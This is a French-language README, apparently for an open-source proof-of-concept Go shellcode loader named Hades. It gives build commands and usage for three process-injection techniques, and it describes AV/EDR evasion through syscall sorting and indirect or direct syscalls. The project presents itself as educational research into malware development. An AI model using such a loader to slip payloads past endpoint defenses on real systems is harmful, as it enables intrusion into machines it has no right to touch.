
Chargeur de shellcode Go combinant plusieurs techniques d'évasion
Hades est un loader de preuve de concept qui combine plusieurs techniques d'évasion dans le but de contourner les mécanismes défensifs couramment utilisés par les AV/EDR modernes.
La façon la plus simple est probablement de construire le projet sur Linux en utilisant make.
git clone https://github.com/f1zm0/hades && cd hades
make
Ensuite, vous pouvez apporter l'exécutable sur une machine Windows x64 et l'exécuter avec .\hades.exe [options].
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Utilisation :
hades -f <chemin> [-t selfthread|remotethread|queueuserapc]
Options :
-f, --file <str> chemin du fichier shellcode (.bin)
-t, --technique <str> technique d'injection [selfthread, remotethread, queueuserapc]
Injection d'un shellcode qui lance calc.exe avec la technique queueuserapc :
.\hades.exe -f calc.bin -t queueuserapc
Contournement du hooking en mode utilisateur avec le tri RVA des appels système (NtQueueApcThread hooké avec frida-trace et gestionnaire personnalisé)

Contournement du callback d'instrumentation avec des appels système indirects (la DLL injectée provient de syscall-detect par jackullrich)

Dans la dernière version, les capacités d'appels système directs ont été remplacées par des appels système indirects fournis par acheron. Si pour une raison quelconque vous souhaitez utiliser la version précédente du loader qui utilisait des appels système directs, vous devez passer explicitement le tag direct_syscalls au compilateur, qui déterminera quels fichiers doivent être inclus ou exclus de la compilation.
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
Avertissement
Ce projet a été créé à des fins éducatives uniquement, pour expérimenter le développement de malwares en Go, et en apprendre davantage sur le package unsafe et la syntaxe étrange de Go Assembly. Ne l'utilisez pas sur des systèmes qui ne vous appartiennent pas. Le développeur de ce projet n'est pas responsable des dommages causés par une mauvaise utilisation de cet outil.
Merci aux personnes suivantes qui ont partagé leurs connaissances et leur code qui ont inspiré cet outil :
Ce projet est sous licence GPLv3 - voir le fichier LICENSE pour plus de détails.